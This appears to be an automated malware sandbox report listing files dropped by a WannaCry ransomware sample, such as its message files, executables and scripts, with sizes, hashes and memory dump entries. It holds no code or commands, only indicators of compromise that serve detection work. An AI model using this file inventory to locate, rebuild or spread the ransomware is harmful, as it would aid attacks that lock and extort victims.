Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\c.wnry

Filesize
780B

MD5
8124a611153cd3aceb85a7ac58eaa25d

SHA1
c1d5cd8774261d810dca9b6a8e478d01cd4995d6

SHA256
0ceb451c1dbefaa8231eeb462e8ce639863eb5b8ae4fa63a353eb6e86173119e

SHA512
b9c8dfb5d58c95628528cc729d2394367c5e205328645ca6ef78a3552d9ad9f824ae20611a43a6e01daaffeffdc9094f80d772620c731e4192eb0835b8ed0f17

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\m.vbs

Filesize
257B

MD5
e496dd7cfa46f8934d82b381bfde0aaf

SHA1
4b87a838dd83e84b9e6c72af15493e6e48979170

SHA256
9c4dfc0e56b406d9966fbd413a47ac29e77e262bd0d497ef72e835d5cb36fc8c

SHA512
461bf87167c4ee764bfdad32d3940309d2fa37e631935a5be966396f10392059297dc06f9d2c07257ae63edf988061bb53aa984bb0bb399e240e792888170372

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_bulgarian.wnry

Filesize
46KB

MD5
95673b0f968c0f55b32204361940d184

SHA1
81e427d15a1a826b93e91c3d2fa65221c8ca9cff

SHA256
40b37e7b80cf678d7dd302aaf41b88135ade6ddf44d89bdba19cf171564444bd

SHA512
7601f1883edbb4150a9dc17084012323b3bfa66f6d19d3d0355cf82b6a1c9dce475d758da18b6d17a8b321bf6fca20915224dbaedcb3f4d16abfaf7a5fc21b92

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_chinese (simplified).wnry

Filesize
53KB

MD5
0252d45ca21c8e43c9742285c48e91ad

SHA1
5c14551d2736eef3a1c1970cc492206e531703c1

SHA256
845d0e178aeebd6c7e2a2e9697b2bf6cf02028c50c288b3ba88fe2918ea2834a

SHA512
1bfcf6c0e7c977d777f12bd20ac347630999c4d99bd706b40de7ff8f2f52e02560d68093142cc93722095657807a1480ce3fb6a2e000c488550548c497998755

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_chinese (traditional).wnry

Filesize
77KB

MD5
2efc3690d67cd073a9406a25005f7cea

SHA1
52c07f98870eabace6ec370b7eb562751e8067e9

SHA256
5c7f6ad1ec4bc2c8e2c9c126633215daba7de731ac8b12be10ca157417c97f3a

SHA512
0766c58e64d9cda5328e00b86f8482316e944aa2c26523a3c37289e22c34be4b70937033bebdb217f675e40db9fecdce0a0d516f9065a170e28286c2d218487c

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_croatian.wnry

Filesize
38KB

MD5
17194003fa70ce477326ce2f6deeb270

SHA1
e325988f68d327743926ea317abb9882f347fa73

SHA256
3f33734b2d34cce83936ce99c3494cd845f1d2c02d7f6da31d42dfc1ca15a171

SHA512
dcf4ccf0b352a8b271827b3b8e181f7d6502ca0f8c9dda3dc6e53441bb4ae6e77b49c9c947cc3ede0bf323f09140a0c068a907f3c23ea2a8495d1ad96820051c

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_czech.wnry

Filesize
39KB

MD5
537efeecdfa94cc421e58fd82a58ba9e

SHA1
3609456e16bc16ba447979f3aa69221290ec17d0

SHA256
5afa4753afa048c6d6c39327ce674f27f5f6e5d3f2a060b7a8aed61725481150

SHA512
e007786ffa09ccd5a24e5c6504c8de444929a2faaafad3712367c05615b7e1b0fbf7fbfff7028ed3f832ce226957390d8bf54308870e9ed597948a838da1137b

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_danish.wnry

Filesize
36KB

MD5
2c5a3b81d5c4715b7bea01033367fcb5

SHA1
b548b45da8463e17199daafd34c23591f94e82cd

SHA256
a75bb44284b9db8d702692f84909a7e23f21141866adf3db888042e9109a1cb6

SHA512
490c5a892fac801b853c348477b1140755d4c53ca05726ac19d3649af4285c93523393a3667e209c71c80ac06ffd809f62dd69ae65012dcb00445d032f1277b3

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_dutch.wnry

Filesize
36KB

MD5
7a8d499407c6a647c03c4471a67eaad7

SHA1
d573b6ac8e7e04a05cbbd6b7f6a9842f371d343b

SHA256
2c95bef914da6c50d7bdedec601e589fbb4fda24c4863a7260f4f72bd025799c

SHA512
608ef3ff0a517fe1e70ff41aeb277821565c5a9bee5103aa5e45c68d4763fce507c2a34d810f4cd242d163181f8341d9a69e93fe32aded6fbc7f544c55743f12

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_english.wnry

Filesize
36KB

MD5
fe68c2dc0d2419b38f44d83f2fcf232e

SHA1
6c6e49949957215aa2f3dfb72207d249adf36283

SHA256
26fd072fda6e12f8c2d3292086ef0390785efa2c556e2a88bd4673102af703e5

SHA512
941fa0a1f6a5756ed54260994db6158a7ebeb9e18b5c8ca2f6530c579bc4455918df0b38c609f501ca466b3cc067b40e4b861ad6513373b483b36338ae20a810

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_filipino.wnry

Filesize
36KB

MD5
08b9e69b57e4c9b966664f8e1c27ab09

SHA1
2da1025bbbfb3cd308070765fc0893a48e5a85fa

SHA256
d8489f8c16318e524b45de8b35d7e2c3cd8ed4821c136f12f5ef3c9fc3321324

SHA512
966b5ed68be6b5ccd46e0de1fa868cfe5432d9bf82e1e2f6eb99b2aef3c92f88d96f4f4eec5e16381b9c6db80a68071e7124ca1474d664bdd77e1817ec600cb4

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_finnish.wnry

Filesize
37KB

MD5
35c2f97eea8819b1caebd23fee732d8f

SHA1
e354d1cc43d6a39d9732adea5d3b0f57284255d2

SHA256
1adfee058b98206cb4fbe1a46d3ed62a11e1dee2c7ff521c1eef7c706e6a700e

SHA512
908149a6f5238fcccd86f7c374986d486590a0991ef5243f0cd9e63cc8e208158a9a812665233b09c3a478233d30f21e3d355b94f36b83644795556f147345bf

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_french.wnry

Filesize
37KB

MD5
4e57113a6bf6b88fdd32782a4a381274

SHA1
0fccbc91f0f94453d91670c6794f71348711061d

SHA256
9bd38110e6523547aed50617ddc77d0920d408faeed2b7a21ab163fda22177bc

SHA512
4f1918a12269c654d44e9d394bc209ef0bc32242be8833a2fba437b879125177e149f56f2fb0c302330dec328139b34982c04b3fefb045612b6cc9f83ec85aa9

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_german.wnry

Filesize
36KB

MD5
3d59bbb5553fe03a89f817819540f469

SHA1
26781d4b06ff704800b463d0f1fca3afd923a9fe

SHA256
2adc900fafa9938d85ce53cb793271f37af40cf499bcc454f44975db533f0b61

SHA512
95719ae80589f71209bb3cb953276538040e7111b994d757b0a24283aefe27aadbbe9eef3f1f823ce4cabc1090946d4a2a558607ac6cac6faca5971529b34dac

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_greek.wnry

Filesize
47KB

MD5
fb4e8718fea95bb7479727fde80cb424

SHA1
1088c7653cba385fe994e9ae34a6595898f20aeb

SHA256
e13cc9b13aa5074dc45d50379eceb17ee39a0c2531ab617d93800fe236758ca9

SHA512
24db377af1569e4e2b2ebccec42564cea95a30f1ff43bcaf25a692f99567e027bcef4aacef008ec5f64ea2eef0c04be88d2b30bcadabb3919b5f45a6633940cb

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_indonesian.wnry

Filesize
36KB

MD5
3788f91c694dfc48e12417ce93356b0f

SHA1
eb3b87f7f654b604daf3484da9e02ca6c4ea98b7

SHA256
23e5e738aad10fb8ef89aa0285269aff728070080158fd3e7792fe9ed47c51f4

SHA512
b7dd9e6dc7c2d023ff958caf132f0544c76fae3b2d8e49753257676cc541735807b4befdf483bcae94c2dcde3c878c783b4a89dca0fecbc78f5bbf7c356f35cd

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_italian.wnry

Filesize
36KB

MD5
30a200f78498990095b36f574b6e8690

SHA1
c4b1b3c087bd12b063e98bca464cd05f3f7b7882

SHA256
49f2c739e7d9745c0834dc817a71bf6676ccc24a4c28dcddf8844093aab3df07

SHA512
c0da2aae82c397f6943a0a7b838f60eeef8f57192c5f498f2ecf05db824cfeb6d6ca830bf3715da7ee400aa8362bd64dc835298f3f0085ae7a744e6e6c690511

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_japanese.wnry

Filesize
79KB

MD5
b77e1221f7ecd0b5d696cb66cda1609e

SHA1
51eb7a254a33d05edf188ded653005dc82de8a46

SHA256
7e491e7b48d6e34f916624c1cda9f024e86fcbec56acda35e27fa99d530d017e

SHA512
f435fd67954787e6b87460db026759410fbd25b2f6ea758118749c113a50192446861a114358443a129be817020b50f21d27b1ebd3d22c7be62082e8b45223fc

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_korean.wnry

Filesize
89KB

MD5
6735cb43fe44832b061eeb3f5956b099

SHA1
d636daf64d524f81367ea92fdafa3726c909bee1

SHA256
552aa0f82f37c9601114974228d4fc54f7434fe3ae7a276ef1ae98a0f608f1d0

SHA512
60272801909dbba21578b22c49f6b0ba8cd0070f116476ff35b3ac8347b987790e4cc0334724244c4b13415a246e77a577230029e4561ae6f04a598c3f536c7e

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_latvian.wnry

Filesize
40KB

MD5
c33afb4ecc04ee1bcc6975bea49abe40

SHA1
fbea4f170507cde02b839527ef50b7ec74b4821f

SHA256
a0356696877f2d94d645ae2df6ce6b370bd5c0d6db3d36def44e714525de0536

SHA512
0d435f0836f61a5ff55b78c02fa47b191e5807a79d8a6e991f3115743df2141b3db42ba8bdad9ad259e12f5800828e9e72d7c94a6a5259312a447d669b03ec44

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_norwegian.wnry

Filesize
36KB

MD5
ff70cc7c00951084175d12128ce02399

SHA1
75ad3b1ad4fb14813882d88e952208c648f1fd18

SHA256
cb5da96b3dfcf4394713623dbf3831b2a0b8be63987f563e1c32edeb74cb6c3a

SHA512
f01df3256d49325e5ec49fd265aa3f176020c8ffec60eb1d828c75a3fa18ff8634e1de824d77dfdd833768acff1f547303104620c70066a2708654a07ef22e19

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_polish.wnry

Filesize
38KB

MD5
e79d7f2833a9c2e2553c7fe04a1b63f4

SHA1
3d9f56d2381b8fe16042aa7c4feb1b33f2baebff

SHA256
519ad66009a6c127400c6c09e079903223bd82ecc18ad71b8e5cd79f5f9c053e

SHA512
e0159c753491cac7606a7250f332e87bc6b14876bc7a1cf5625fa56ab4f09c485f7b231dd52e4ff0f5f3c29862afb1124c0efd0741613eb97a83cbe2668af5de

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_portuguese.wnry

Filesize
37KB

MD5
fa948f7d8dfb21ceddd6794f2d56b44f

SHA1
ca915fbe020caa88dd776d89632d7866f660fc7a

SHA256
bd9f4b3aedf4f81f37ec0a028aabcb0e9a900e6b4de04e9271c8db81432e2a66

SHA512
0d211bfb0ae953081dca00cd07f8c908c174fd6c47a8001fadc614203f0e55d9fbb7fa9b87c735d57101341ab36af443918ee00737ed4c19ace0a2b85497f41a

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_romanian.wnry

Filesize
50KB

MD5
313e0ececd24f4fa1504118a11bc7986

SHA1
e1b9ae804c7fb1d27f39db18dc0647bb04e75e9d

SHA256
70c0f32ed379ae899e5ac975e20bbbacd295cf7cd50c36174d2602420c770ac1

SHA512
c7500363c61baf8b77fce796d750f8f5e6886ff0a10f81c3240ea3ad4e5f101b597490dea8ab6bd9193457d35d8fd579fce1b88a1c8d85ebe96c66d909630730

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_russian.wnry

Filesize
46KB

MD5
452615db2336d60af7e2057481e4cab5

SHA1
442e31f6556b3d7de6eb85fbac3d2957b7f5eac6

SHA256
02932052fafe97e6acaaf9f391738a3a826f5434b1a013abbfa7a6c1ade1e078

SHA512
7613dc329abe7a3f32164c9a6b660f209a84b774ab9c008bf6503c76255b30ea9a743a6dc49a8de8df0bcb9aea5a33f7408ba27848d9562583ff51991910911f

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_slovak.wnry

Filesize
40KB

MD5
c911aba4ab1da6c28cf86338ab2ab6cc

SHA1
fee0fd58b8efe76077620d8abc7500dbfef7c5b0

SHA256
e64178e339c8e10eac17a236a67b892d0447eb67b1dcd149763dad6fd9f72729

SHA512
3491ed285a091a123a1a6d61aafbb8d5621ccc9e045a237a2f9c2cf6049e7420eb96ef30fdcea856b50454436e2ec468770f8d585752d73fafd676c4ef5e800a

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_spanish.wnry

Filesize
36KB

MD5
8d61648d34cba8ae9d1e2a219019add1

SHA1
2091e42fc17a0cc2f235650f7aad87abf8ba22c2

SHA256
72f20024b2f69b45a1391f0a6474e9f6349625ce329f5444aec7401fe31f8de1

SHA512
68489c33ba89edfe2e3aebaacf8ef848d2ea88dcbef9609c258662605e02d12cfa4ffdc1d266fc5878488e296d2848b2cb0bbd45f1e86ef959bab6162d284079

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_swedish.wnry

Filesize
37KB

MD5
c7a19984eb9f37198652eaf2fd1ee25c

SHA1
06eafed025cf8c4d76966bf382ab0c5e1bd6a0ae

SHA256
146f61db72297c9c0facffd560487f8d6a2846ecec92ecc7db19c8d618dbc3a4

SHA512
43dd159f9c2eac147cbff1dda83f6a83dd0c59d2d7acac35ba8b407a04ec9a1110a6a8737535d060d100ede1cb75078cf742c383948c9d4037ef459d150f6020

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_turkish.wnry

Filesize
41KB

MD5
531ba6b1a5460fc9446946f91cc8c94b

SHA1
cc56978681bd546fd82d87926b5d9905c92a5803

SHA256
6db650836d64350bbde2ab324407b8e474fc041098c41ecac6fd77d632a36415

SHA512
ef25c3cf4343df85954114f59933c7cc8107266c8bcac3b5ea7718eb74dbee8ca8a02da39057e6ef26b64f1dfccd720dd3bf473f5ae340ba56941e87d6b796c9

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\msg\m_vietnamese.wnry

Filesize
91KB

MD5
8419be28a0dcec3f55823620922b00fa

SHA1
2e4791f9cdfca8abf345d606f313d22b36c46b92

SHA256
1f21838b244c80f8bed6f6977aa8a557b419cf22ba35b1fd4bf0f98989c5bdf8

SHA512
8fca77e54480aea3c0c7a705263ed8fb83c58974f5f0f62f12cc97c8e0506ba2cdb59b70e59e9a6c44dd7cde6adeeec35b494d31a6a146ff5ba7006136ab9386

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\r.wnry

Filesize
864B

MD5
3e0020fc529b1c2a061016dd2469ba96

SHA1
c3a91c22b63f6fe709e7c29cafb29a2ee83e6ade

SHA256
402751fa49e0cb68fe052cb3db87b05e71c1d950984d339940cf6b29409f2a7c

SHA512
5ca3c134201ed39d96d72911c0498bae6f98701513fd7f1dc8512819b673f0ea580510fa94ed9413ccc73da18b39903772a7cbfa3478176181cee68c896e14cf

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\s.wnry

Filesize
2.9MB

MD5
ad4c9de7c8c40813f200ba1c2fa33083

SHA1
d1af27518d455d432b62d73c6a1497d032f6120e

SHA256
e18fdd912dfe5b45776e68d578c3af3547886cf1353d7086c8bee037436dff4b

SHA512
115733d08e5f1a514808a20b070db7ff453fd149865f49c04365a8c6502fa1e5c3a31da3e21f688ab040f583cf1224a544aea9708ffab21405dde1c57f98e617

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\t.wnry

Filesize
64KB

MD5
5dcaac857e695a65f5c3ef1441a73a8f

SHA1
7b10aaeee05e7a1efb43d9f837e9356ad55c07dd

SHA256
97ebce49b14c46bebc9ec2448d00e1e397123b256e2be9eba5140688e7bc0ae6

SHA512
06eb5e49d19b71a99770d1b11a5bb64a54bf3352f36e39a153469e54205075c203b08128dc2317259db206ab5323bdd93aaa252a066f57fb5c52ff28deedb5e2

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\taskdl.exe

Filesize
20KB

MD5
4fef5e34143e646dbf9907c4374276f5

SHA1
47a9ad4125b6bd7c55e4e7da251e23f089407b8f

SHA256
4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79

SHA512
4550dd1787deb353ebd28363dd2cdccca861f6a5d9358120fa6aa23baa478b2a9eb43cef5e3f6426f708a0753491710ac05483fac4a046c26bec4234122434d5

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\taskse.exe

Filesize
20KB

MD5
8495400f199ac77853c53b5a3f278f3e

SHA1
be5d6279874da315e3080b06083757aad9b32c23

SHA256
2ca2d550e603d74dedda03156023135b38da3630cb014e3d00b1263358c5f00d

SHA512
0669c524a295a049fa4629b26f89788b2a74e1840bcdc50e093a0bd40830dd1279c9597937301c0072db6ece70adee4ace67c3c8a4fb2db6deafd8f1e887abe4

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\u.wnry

Filesize
240KB

MD5
7bf2b57f2a205768755c07f238fb32cc

SHA1
45356a9dd616ed7161a3b9192e2f318d0ab5ad10

SHA256
b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25

SHA512
91a39e919296cb5c6eccba710b780519d90035175aa460ec6dbe631324e5e5753bd8d87f395b5481bcd7e1ad623b31a34382d81faae06bef60ec28b49c3122a9

Download Submit
memory/2212-3030-0x0000000074340000-0x0000000074362000-memory.dmp

Filesize
136KB

Download
memory/2212-3311-0x0000000074340000-0x0000000074362000-memory.dmp

Filesize
136KB

Download
memory/2212-3307-0x0000000000250000-0x000000000054E000-memory.dmp

Filesize
3.0MB

Download
memory/2212-3310-0x0000000074370000-0x00000000743F2000-memory.dmp

Filesize
520KB

Download
memory/2212-3309-0x0000000074400000-0x000000007441C000-memory.dmp

Filesize
112KB

Download
memory/2212-3308-0x0000000074420000-0x00000000744A2000-memory.dmp

Filesize
520KB

Download
memory/2212-3029-0x0000000074370000-0x00000000743F2000-memory.dmp

Filesize
520KB

Download
memory/2212-3031-0x0000000000250000-0x000000000054E000-memory.dmp

Filesize
3.0MB

Download
memory/2212-3028-0x0000000074120000-0x000000007433C000-memory.dmp

Filesize
2.1MB

Download
memory/2212-3313-0x00000000740A0000-0x0000000074117000-memory.dmp

Filesize
476KB

Download
memory/2212-3312-0x0000000074120000-0x000000007433C000-memory.dmp

Filesize
2.1MB

Download
memory/2212-3414-0x0000000000250000-0x000000000054E000-memory.dmp

Filesize
3.0MB

Download
memory/2212-3434-0x0000000000250000-0x000000000054E000-memory.dmp

Filesize
3.0MB

Download
memory/2212-3439-0x0000000074120000-0x000000007433C000-memory.dmp

Filesize
2.1MB

Download
memory/2212-3468-0x0000000000250000-0x000000000054E000-memory.dmp

Filesize
3.0MB

Download
memory/2212-3027-0x0000000074420000-0x00000000744A2000-memory.dmp

Filesize
520KB

Download
memory/2212-3473-0x0000000074120000-0x000000007433C000-memory.dmp

Filesize
2.1MB

Download
memory/3308-1428-0x0000000010000000-0x0000000010010000-memory.dmp

Filesize
64KB

Download